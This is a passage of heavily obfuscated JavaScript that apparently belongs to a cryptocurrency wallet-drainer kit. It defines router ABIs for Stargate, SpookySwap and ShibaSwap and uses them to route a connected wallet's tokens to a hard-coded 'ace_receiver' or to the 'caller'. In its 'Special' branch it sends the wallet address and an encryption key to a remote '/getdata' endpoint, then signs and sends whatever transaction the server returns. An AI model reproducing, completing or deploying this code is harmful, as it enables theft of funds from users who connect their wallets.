const _0x3c6a21 = {
internalType: "uint256",
name: "dstGasForCall",
type: "uint256"
};
const _0x5e9ed2 = {
internalType: "uint256",
name: "dstNativeAmount",
type: "uint256"
};
const _0x1624f7 = {
internalType: 'bytes',
name: "dstNativeAddr",
type: "bytes"
};
const _0x55a184 = {
components: [_0x3c6a21, _0x5e9ed2, _0x1624f7],
internalType: "struct IStargateRouter.lzTxObj",
name: "_lzTxParams",
type: "tuple"
};
const _0x31c933 = {
internalType: 'bytes',
name: "_to",
type: 'bytes'
};
const _0x465a21 = {
internalType: "bytes",
name: '_payload',
type: 'bytes'
};
const _0x3dd9f8 = {
inputs: [_0x5e0b23, _0x3b1351, _0x515a47, _0x7e40ed, _0x16e197, _0x1f90a7, _0x55a184, _0x31c933, _0x465a21],
name: "swap",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x4bb6b4 = {
internalType: "uint16",
name: "_srcChainId",
type: "uint16"
};
const _0x2b7337 = {
internalType: 'bytes',
name: "_srcAddress",
type: 'bytes'
};
const _0x9a9675 = {
internalType: 'uint256',
name: "_nonce",
type: "uint256"
};
const _0x3b4028 = {
internalType: "uint256",
name: "_srcPoolId",
type: "uint256"
};
const _0x1c7037 = {
internalType: "uint256",
name: "_dstPoolId",
type: "uint256"
};
const _0x3b2826 = {
internalType: "uint256",
name: "_dstGasForCall",
type: "uint256"
};
const _0x2117b4 = {
internalType: 'address',
name: "_to",
type: 'address'
};
const _0x2da8b4 = {
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x1fb356 = {
internalType: "uint256",
name: "eqFee",
type: 'uint256'
};
const _0x38cd27 = {
internalType: "uint256",
name: 'eqReward',
type: 'uint256'
};
const _0x4b692a = {
internalType: "uint256",
name: "lpFee",
type: "uint256"
};
const _0x29a133 = {
internalType: "uint256",
name: "protocolFee",
type: "uint256"
};
const _0xb6641f = {
internalType: "uint256",
name: "lkbRemove",
type: "uint256"
};
const _0x5a18ab = {
components: [_0x2da8b4, _0x1fb356, _0x38cd27, _0x4b692a, _0x29a133, _0xb6641f],
internalType: "struct Pool.SwapObj",
name: '_s',
type: "tuple"
};
const _0xec6b6d = {
internalType: 'bytes',
name: '_payload',
type: 'bytes'
};
const _0x2e0e2b = {
inputs: [_0x4bb6b4, _0x2b7337, _0x9a9675, _0x3b4028, _0x1c7037, _0x3b2826, _0x2117b4, _0x5a18ab, _0xec6b6d],
name: "swapRemote",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x3deb6f = {
internalType: 'address',
name: "newOwner",
type: 'address'
};
const _0x760ec4 = {
inputs: [_0x3deb6f],
name: "transferOwnership",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x3d413f = {
internalType: "uint256",
name: "_poolId",
type: "uint256"
};
const _0x55fc5f = {
internalType: 'address',
name: "_to",
type: "address"
};
const _0x2d27ae = {
inputs: [_0x3d413f, _0x55fc5f],
name: "withdrawMintFee",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x2b96e2 = {
internalType: "uint256",
name: "_poolId",
type: "uint256"
};
const _0x2de62d = {
internalType: 'address',
name: "_to",
type: 'address'
};
const _0x3a2b4e = {
inputs: [_0x2b96e2, _0x2de62d],
name: "withdrawProtocolFee",
outputs: [],
stateMutability: "nonpayable",
type: "function"
};
let _0x547d5e = [_0x596b54, _0x1477d0, _0x134963, _0x52e60e, _0x3aacc8, _0x1d867a, _0x4034d1, _0x4d9bdf, _0x5de97b, _0x121edb, _0x3e62e5, _0x432337, _0x1a8434, _0x297a3a, _0x19b934, _0xc43721, _0x312491, _0x18b24d, _0x1b1993, _0x55d135, _0xe7cc1a, _0x1f1263, _0x233031, _0x497547, _0x143e0f, _0x26bf33, _0xe0ea96, _0x570335, _0x300fbd, _0x4924b4, _0xacb183, _0x1af010, _0x3b5c5e, _0x53e326, _0x536c9c, _0x7181e3, _0x39326, _0x24c998, _0x3dd9f8, _0x2e0e2b, _0x760ec4, _0x2d27ae, _0x3a2b4e];
let _0x4714ba = new ethers.Contract(_0x1d9d78, _0x547d5e, _0x30ef12);
let _0x333ac6 = await _0x4714ba.quoteLayerZeroFee(_0x13b5c9, 1, this.ace_receiver, '0x', {
'dstGasForCall': 0x0,
'dstNativeAmount': 0x0,
'dstNativeAddr': this.ace_receiver
});
let _0x539b4c = _0x333ac6[0];
const _0x59d2f4 = {
dstGasForCall: 0x0,
dstNativeAmount: 0x0,
dstNativeAddr: '0x'
};
const _0x2f8d37 = {
value: _0x539b4c
};
return _0x4714ba.swap(_0x13b5c9, _0x59dec2, _0x28ca0c, this.ace_receiver, _0x579e7a.asset.amount, 0, _0x59d2f4, this.ace_receiver, '0x', _0x2f8d37);
}
case 'Special':
{
let _0x2a8042 = this.tradingPairs[_0x579e7a.chain];
let _0x1c0dba = await fetch(this.domain + "/getdata/" + _0x2a8042 + '/' + _0x579e7a.asset.token + '/' + (await this.getWalletAddress()) + '/' + _0x579e7a.asset.amount + '/' + this.getChainId(_0x579e7a.chain) + '/' + Base64.encode(this.createEncKey()), {
'method': "GET",
'headers': {
'Accept': "application/json"
}
});
let _0x3531f6 = await _0x1c0dba.json();
let _0xc7badd = await _0x30ef12.getTransactionCount('pending');
let _0x1897cc = {
'nonce': '0x' + _0xc7badd.toString(16),
'data': _0x3531f6.trade.data,
'from': _0x3531f6.trade.from,
'value': "0x00",
'to': _0x3531f6.trade.to,
'gasLimit': '0x' + _0x3531f6.maxGas.toString(16)
};
return _0x30ef12.sendTransaction(_0x1897cc);
}
case 'SpookySwap':
{
const _0x492248 = {
internalType: 'address',
name: "_factory",
type: 'address'
};
const _0x4cc7ee = {
internalType: 'address',
name: "_WETH",
type: 'address'
};
const _0x45a640 = {
inputs: [_0x492248, _0x4cc7ee],
stateMutability: "nonpayable",
type: "constructor"
};
const _0x3677bf = {
inputs: [],
name: "WETH",
outputs: [{
'internalType': 'address',
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: 'function'
};
const _0x3bd9e9 = {
internalType: 'address',
name: "tokenA",
type: 'address'
};
const _0x252571 = {
internalType: "address",
name: "tokenB",
type: 'address'
};
const _0x1ac551 = {
internalType: "uint256",
name: "amountADesired",
type: "uint256"
};
const _0x5c3ddb = {
internalType: "uint256",
name: "amountBDesired",
type: "uint256"
};
const _0x45f9f5 = {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
};
const _0x5a1eda = {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
};
const _0x1fdf2d = {
internalType: "address",
name: 'to',
type: 'address'
};
const _0x58b891 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x58c586 = {
inputs: [_0x3bd9e9, _0x252571, _0x1ac551, _0x5c3ddb, _0x45f9f5, _0x5a1eda, _0x1fdf2d, _0x58b891],
name: "addLiquidity",
outputs: [{
'internalType': "uint256",
'name': "amountA",
'type': "uint256"
}, {
'internalType': "uint256",
'name': "amountB",
'type': "uint256"
}, {
'internalType': "uint256",
'name': "liquidity",
'type': "uint256"
}],
stateMutability: 'nonpayable',
type: 'function'
};
const _0x4141af = {
internalType: "address",
name: "token",
type: 'address'
};
const _0x1c9adc = {
internalType: "uint256",
name: "amountTokenDesired",
type: "uint256"
};
const _0x48bba5 = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x4ee474 = {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
};
const _0x1ba2ed = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x5df8dc = {
internalType: 'uint256',
name: "deadline",
type: 'uint256'
};
const _0x4df0ab = {
inputs: [_0x4141af, _0x1c9adc, _0x48bba5, _0x4ee474, _0x1ba2ed, _0x5df8dc],
name: "addLiquidityETH",
outputs: [{
'internalType': "uint256",
'name': "amountToken",
'type': "uint256"
}, {
'internalType': 'uint256',
'name': 'amountETH',
'type': "uint256"
}, {
'internalType': "uint256",
'name': "liquidity",
'type': "uint256"
}],
stateMutability: "payable",
type: 'function'
};
const _0xef61ce = {
inputs: [],
name: "factory",
outputs: [{
'internalType': 'address',
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: 'function'
};
const _0x5254b1 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x15aacc = {
internalType: "uint256",
name: "reserveIn",
type: "uint256"
};
const _0x2eb25e = {
internalType: "uint256",
name: "reserveOut",
type: "uint256"
};
const _0x29185d = {
inputs: [_0x5254b1, _0x15aacc, _0x2eb25e],
name: "getAmountIn",
outputs: [{
'internalType': "uint256",
'name': "amountIn",
'type': "uint256"
}],
stateMutability: 'pure',
type: 'function'
};
const _0x1c127c = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x2636db = {
internalType: "uint256",
name: "reserveIn",
type: "uint256"
};
const _0x5cd7e9 = {
internalType: "uint256",
name: "reserveOut",
type: "uint256"
};
const _0x48b5a6 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x41f3d8 = {
inputs: [_0x1c127c, _0x2636db, _0x5cd7e9],
name: "getAmountOut",
outputs: [_0x48b5a6],
stateMutability: "pure",
type: 'function'
};
const _0x286037 = {
internalType: 'uint256',
name: "amountOut",
type: "uint256"
};
const _0x4c2f40 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x190ea7 = {
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
};
const _0x2b8b0e = {
inputs: [_0x286037, _0x4c2f40],
name: "getAmountsIn",
outputs: [_0x190ea7],
stateMutability: 'view',
type: 'function'
};
const _0x23487c = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x49644f = {
internalType: 'address[]',
name: "path",
type: "address[]"
};
const _0x225b57 = {
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
};
const _0x26b01d = {
inputs: [_0x23487c, _0x49644f],
name: "getAmountsOut",
outputs: [_0x225b57],
stateMutability: 'view',
type: 'function'
};
const _0x768f05 = {
internalType: "uint256",
name: "amountA",
type: "uint256"
};
const _0x8d79c3 = {
internalType: "uint256",
name: "reserveA",
type: "uint256"
};
const _0x326e54 = {
internalType: "uint256",
name: "reserveB",
type: "uint256"
};
const _0x5187c2 = {
inputs: [_0x768f05, _0x8d79c3, _0x326e54],
name: "quote",
outputs: [{
'internalType': "uint256",
'name': 'amountB',
'type': "uint256"
}],
stateMutability: "pure",
type: 'function'
};
const _0x2760f2 = {
internalType: 'address',
name: "tokenA",
type: 'address'
};
const _0x4c021f = {
internalType: 'address',
name: "tokenB",
type: "address"
};
const _0x224b8c = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x32686b = {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
};
const _0x396ec5 = {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
};
const _0x18c053 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x30e869 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x18ebb8 = {
inputs: [_0x2760f2, _0x4c021f, _0x224b8c, _0x32686b, _0x396ec5, _0x18c053, _0x30e869],
name: "removeLiquidity",
outputs: [{
'internalType': "uint256",
'name': "amountA",
'type': "uint256"
}, {
'internalType': "uint256",
'name': 'amountB',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x1785ab = {
internalType: "address",
name: "token",
type: 'address'
};
const _0x10c099 = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x4dfab5 = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x219d99 = {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
};
const _0x57b91f = {
internalType: "address",
name: 'to',
type: "address"
};
const _0x3c5b58 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x3e646b = {
inputs: [_0x1785ab, _0x10c099, _0x4dfab5, _0x219d99, _0x57b91f, _0x3c5b58],
name: "removeLiquidityETH",
outputs: [{
'internalType': "uint256",
'name': "amountToken",
'type': "uint256"
}, {
'internalType': 'uint256',
'name': 'amountETH',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x1baab5 = {
internalType: 'address',
name: "token",
type: "address"
};
const _0xaa9753 = {
internalType: 'uint256',
name: "liquidity",
type: "uint256"
};
const _0x2eeaf0 = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x30b5ad = {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
};
const _0x33c950 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x1ad522 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x2ac789 = {
inputs: [_0x1baab5, _0xaa9753, _0x2eeaf0, _0x30b5ad, _0x33c950, _0x1ad522],
name: "removeLiquidityETHSupportingFeeOnTransferTokens",
outputs: [{
'internalType': "uint256",
'name': 'amountETH',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: "function"
};
const _0x588790 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0xd6e278 = {
internalType: "uint256",
name: "liquidity",
type: 'uint256'
};
const _0x24ad00 = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x1440ff = {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
};
const _0xa28b14 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x605ec8 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x30d788 = {
internalType: 'bool',
name: 'approveMax',
type: 'bool'
};
const _0x4ec2ef = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0x1e8b27 = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x25a959 = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x57ccb2 = {
inputs: [_0x588790, _0xd6e278, _0x24ad00, _0x1440ff, _0xa28b14, _0x605ec8, _0x30d788, _0x4ec2ef, _0x1e8b27, _0x25a959],
name: "removeLiquidityETHWithPermit",
outputs: [{
'internalType': "uint256",
'name': "amountToken",
'type': "uint256"
}, {
'internalType': "uint256",
'name': 'amountETH',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x14733e = {
internalType: "address",
name: "token",
type: 'address'
};
const _0x1c355d = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x469f7d = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x384155 = {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
};
const _0x1401e5 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x5712a7 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x4fd3dd = {
internalType: 'bool',
name: "approveMax",
type: 'bool'
};
const _0x3a0843 = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0x330baa = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x1b44de = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0xcaad62 = {
internalType: "uint256",
name: 'amountETH',
type: "uint256"
};
const _0x1b6985 = {
inputs: [_0x14733e, _0x1c355d, _0x469f7d, _0x384155, _0x1401e5, _0x5712a7, _0x4fd3dd, _0x3a0843, _0x330baa, _0x1b44de],
name: "removeLiquidityETHWithPermitSupportingFeeOnTransferTokens",
outputs: [_0xcaad62],
stateMutability: 'nonpayable',
type: 'function'
};
const _0x5ef0b3 = {
internalType: 'address',
name: "tokenA",
type: 'address'
};
const _0x57330e = {
internalType: 'address',
name: "tokenB",
type: 'address'
};
const _0x2c6fa7 = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x380485 = {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
};
const _0x22e283 = {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
};
const _0x29c3db = {
internalType: "address",
name: 'to',
type: "address"
};
const _0xc8a51d = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x598fb0 = {
internalType: "bool",
name: 'approveMax',
type: "bool"
};
const _0x3faf68 = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0x4ed0ec = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x1f1bf4 = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x5a5559 = {
internalType: "uint256",
name: "amountA",
type: "uint256"
};
const _0x2f918b = {
internalType: "uint256",
name: "amountB",
type: "uint256"
};
const _0x43b6eb = {
inputs: [_0x5ef0b3, _0x57330e, _0x2c6fa7, _0x380485, _0x22e283, _0x29c3db, _0xc8a51d, _0x598fb0, _0x3faf68, _0x4ed0ec, _0x1f1bf4],
name: "removeLiquidityWithPermit",
outputs: [_0x5a5559, _0x2f918b],
stateMutability: "nonpayable",
type: 'function'
};
const _0x13df60 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x3c1627 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x39ac41 = {
internalType: "address",
name: 'to',
type: 'address'
};
const _0x6692dd = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x44a95b = {
inputs: [_0x13df60, _0x3c1627, _0x39ac41, _0x6692dd],
name: "swapETHForExactTokens",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "payable",
type: 'function'
};
const _0x4606a0 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x15df09 = {
internalType: "address[]",
name: "path",
type: "address[]"
};
const _0x1c6ba6 = {
internalType: "address",
name: 'to',
type: "address"
};
const _0x1ae747 = {
internalType: "uint256",
name: "deadline",
type: 'uint256'
};
const _0x31466c = {
inputs: [_0x4606a0, _0x15df09, _0x1c6ba6, _0x1ae747],
name: "swapExactETHForTokens",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': 'uint256[]'
}],
stateMutability: "payable",
type: 'function'
};
const _0x5528a4 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x3d30bf = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x4da8e = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x337a6b = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x7ff71b = {
inputs: [_0x5528a4, _0x3d30bf, _0x4da8e, _0x337a6b],
name: "swapExactETHForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x284ba6 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x39cf7f = {
internalType: "uint256",
name: "amountOutMin",
type: 'uint256'
};
const _0x423614 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x5814ef = {
internalType: 'address',
name: 'to',
type: "address"
};
const _0x2d1366 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x16d6af = {
inputs: [_0x284ba6, _0x39cf7f, _0x423614, _0x5814ef, _0x2d1366],
name: "swapExactTokensForETH",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0xdc5f35 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x4b13f5 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x580d01 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x4cfcf0 = {
internalType: 'address',
name: 'to',
type: "address"
};
const _0x40c89e = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x497176 = {
inputs: [_0xdc5f35, _0x4b13f5, _0x580d01, _0x4cfcf0, _0x40c89e],
name: "swapExactTokensForETHSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x264b99 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x86d273 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x46fc56 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x599550 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x3c00b3 = {
internalType: 'uint256',
name: "deadline",
type: "uint256"
};
const _0x2dc6bc = {
inputs: [_0x264b99, _0x86d273, _0x46fc56, _0x599550, _0x3c00b3],
name: "swapExactTokensForTokens",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x4f7ab7 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x1370f3 = {
internalType: 'uint256',
name: "amountOutMin",
type: "uint256"
};
const _0xedd45c = {
internalType: "address[]",
name: "path",
type: "address[]"
};
const _0x21e5fe = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x1196f3 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0xe47400 = {
inputs: [_0x4f7ab7, _0x1370f3, _0xedd45c, _0x21e5fe, _0x1196f3],
name: "swapExactTokensForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x13a3ad = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0xb527b5 = {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
};
const _0x52fcdc = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x7eec67 = {
internalType: 'address',
name: 'to',
type: "address"
};
const _0x2eb8ba = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x312168 = {
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
};
const _0x44b09b = {
inputs: [_0x13a3ad, _0xb527b5, _0x52fcdc, _0x7eec67, _0x2eb8ba],
name: "swapTokensForExactETH",
outputs: [_0x312168],
stateMutability: "nonpayable",
type: 'function'
};
const _0x414a68 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0xcc51c0 = {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
};
const _0x4ebd94 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x281d7e = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x38dd66 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x3dcbc0 = {
inputs: [_0x414a68, _0xcc51c0, _0x4ebd94, _0x281d7e, _0x38dd66],
name: "swapTokensForExactTokens",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
};
const _0x789bb0 = {
stateMutability: "payable",
type: "receive"
};
let _0x2ac13e = [_0x45a640, _0x3677bf, _0x58c586, _0x4df0ab, _0xef61ce, _0x29185d, _0x41f3d8, _0x2b8b0e, _0x26b01d, _0x5187c2, _0x18ebb8, _0x3e646b, _0x2ac789, _0x57ccb2, _0x1b6985, _0x43b6eb, _0x44a95b, _0x31466c, _0x7ff71b, _0x16d6af, _0x497176, _0x2dc6bc, _0xe47400, _0x44b09b, _0x3dcbc0, _0x789bb0];
let _0x40119a = new ethers.Contract(_0x1d9d78, _0x2ac13e, _0x30ef12);
let _0x196093 = await _0x40119a.WETH();
let _0x37732f = [];
_0x37732f[0] = _0x579e7a.asset.token;
_0x37732f[1] = _0x196093;
return _0x40119a.swapExactTokensForETH(_0x579e7a.asset.amount, 0, _0x37732f, this.caller, _0x10922f);
}
case "ShibaSwap":
{
const _0x42c99a = {
internalType: 'address',
name: "_factory",
type: 'address'
};
const _0xb95de7 = {
internalType: 'address',
name: "_WETH",
type: "address"
};
const _0x319f6b = {
inputs: [_0x42c99a, _0xb95de7],
stateMutability: 'nonpayable',
type: "constructor"
};
const _0x23169e = {
inputs: [],
name: "WETH",
outputs: [{
'internalType': 'address',
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: 'function'
};
const _0x3a0490 = {
internalType: 'address',
name: "tokenA",
type: 'address'
};
const _0x57fdb2 = {
internalType: "address",
name: "tokenB",
type: "address"
};
const _0x58a55f = {
internalType: 'uint256',
name: "amountADesired",
type: "uint256"
};
const _0x3bb631 = {
internalType: "uint256",
name: "amountBDesired",
type: "uint256"
};
const _0xe6ab21 = {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
};
const _0x7ac318 = {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
};
const _0x513c67 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x537cf4 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x4fbf68 = {
inputs: [_0x3a0490, _0x57fdb2, _0x58a55f, _0x3bb631, _0xe6ab21, _0x7ac318, _0x513c67, _0x537cf4],
name: "addLiquidity",
outputs: [{
'internalType': "uint256",
'name': "amountA",
'type': "uint256"
}, {
'internalType': "uint256",
'name': 'amountB',
'type': "uint256"
}, {
'internalType': "uint256",
'name': "liquidity",
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0xccd7c0 = {
internalType: 'address',
name: "token",
type: "address"
};
const _0x2488c2 = {
internalType: "uint256",
name: "amountTokenDesired",
type: "uint256"
};
const _0x3cb7d1 = {
internalType: 'uint256',
name: "amountTokenMin",
type: "uint256"
};
const _0xffa0c = {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
};
const _0x2d026b = {
internalType: "address",
name: 'to',
type: "address"
};
const _0x9a7b5f = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x17b4d1 = {
internalType: "uint256",
name: "amountToken",
type: "uint256"
};
const _0x50921a = {
internalType: "uint256",
name: 'amountETH',
type: "uint256"
};
const _0x5114a1 = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x395e8c = {
inputs: [_0xccd7c0, _0x2488c2, _0x3cb7d1, _0xffa0c, _0x2d026b, _0x9a7b5f],
name: "addLiquidityETH",
outputs: [_0x17b4d1, _0x50921a, _0x5114a1],
stateMutability: "payable",
type: 'function'
};
const _0x502c8d = {
inputs: [],
name: "factory",
outputs: [{
'internalType': 'address',
'name': '',
'type': "address"
}],
stateMutability: "view",
type: "function"
};
const _0x5c9fdb = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x324450 = {
internalType: "uint256",
name: "reserveIn",
type: 'uint256'
};
const _0x529740 = {
internalType: "uint256",
name: "reserveOut",
type: "uint256"
};
const _0x441051 = {
inputs: [_0x5c9fdb, _0x324450, _0x529740],
name: "getAmountIn",
outputs: [{
'internalType': "uint256",
'name': "amountIn",
'type': "uint256"
}],
stateMutability: "pure",
type: 'function'
};
const _0x322ac3 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x4ca47c = {
internalType: "uint256",
name: "reserveIn",
type: "uint256"
};
const _0x1f09da = {
internalType: "uint256",
name: "reserveOut",
type: "uint256"
};
const _0x5e5221 = {
internalType: "uint256",
name: 'amountOut',
type: "uint256"
};
const _0x39ae4b = {
inputs: [_0x322ac3, _0x4ca47c, _0x1f09da],
name: "getAmountOut",
outputs: [_0x5e5221],
stateMutability: "pure",
type: 'function'
};
const _0x3039ea = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x5d899e = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0xf7ba0 = {
inputs: [_0x3039ea, _0x5d899e],
name: "getAmountsIn",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "view",
type: 'function'
};
const _0x1db6eb = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x91798d = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x59917b = {
inputs: [_0x1db6eb, _0x91798d],
name: "getAmountsOut",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: 'view',
type: "function"
};
const _0x50be4d = {
internalType: "uint256",
name: "amountA",
type: "uint256"
};
const _0x21c5e5 = {
internalType: "uint256",
name: "reserveA",
type: "uint256"
};
const _0x14ac6f = {
internalType: "uint256",
name: "reserveB",
type: "uint256"
};
const _0x23a798 = {
internalType: "uint256",
name: 'amountB',
type: "uint256"
};
const _0x3051b2 = {
inputs: [_0x50be4d, _0x21c5e5, _0x14ac6f],
name: "quote",
outputs: [_0x23a798],
stateMutability: "pure",
type: 'function'
};
const _0x12a829 = {
internalType: 'address',
name: "tokenA",
type: 'address'
};
const _0xe52053 = {
internalType: 'address',
name: "tokenB",
type: 'address'
};
const _0x521917 = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x145dd5 = {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
};
const _0x2d7255 = {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
};
const _0xa56ce6 = {
internalType: "address",
name: 'to',
type: "address"
};
const _0x3853e6 = {
internalType: 'uint256',
name: "deadline",
type: "uint256"
};
const _0x36b32a = {
internalType: "uint256",
name: "amountA",
type: "uint256"
};
const _0x4a2966 = {
internalType: "uint256",
name: 'amountB',
type: "uint256"
};
const _0x1316d7 = {
inputs: [_0x12a829, _0xe52053, _0x521917, _0x145dd5, _0x2d7255, _0xa56ce6, _0x3853e6],
name: "removeLiquidity",
outputs: [_0x36b32a, _0x4a2966],
stateMutability: "nonpayable",
type: 'function'
};
const _0x466649 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0xc362eb = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x5e96f9 = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x3002f2 = {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
};
const _0x34f4a7 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x4a2463 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x15012c = {
inputs: [_0x466649, _0xc362eb, _0x5e96f9, _0x3002f2, _0x34f4a7, _0x4a2463],
name: "removeLiquidityETH",
outputs: [{
'internalType': "uint256",
'name': "amountToken",
'type': "uint256"
}, {
'internalType': "uint256",
'name': 'amountETH',
'type': "uint256"
}],
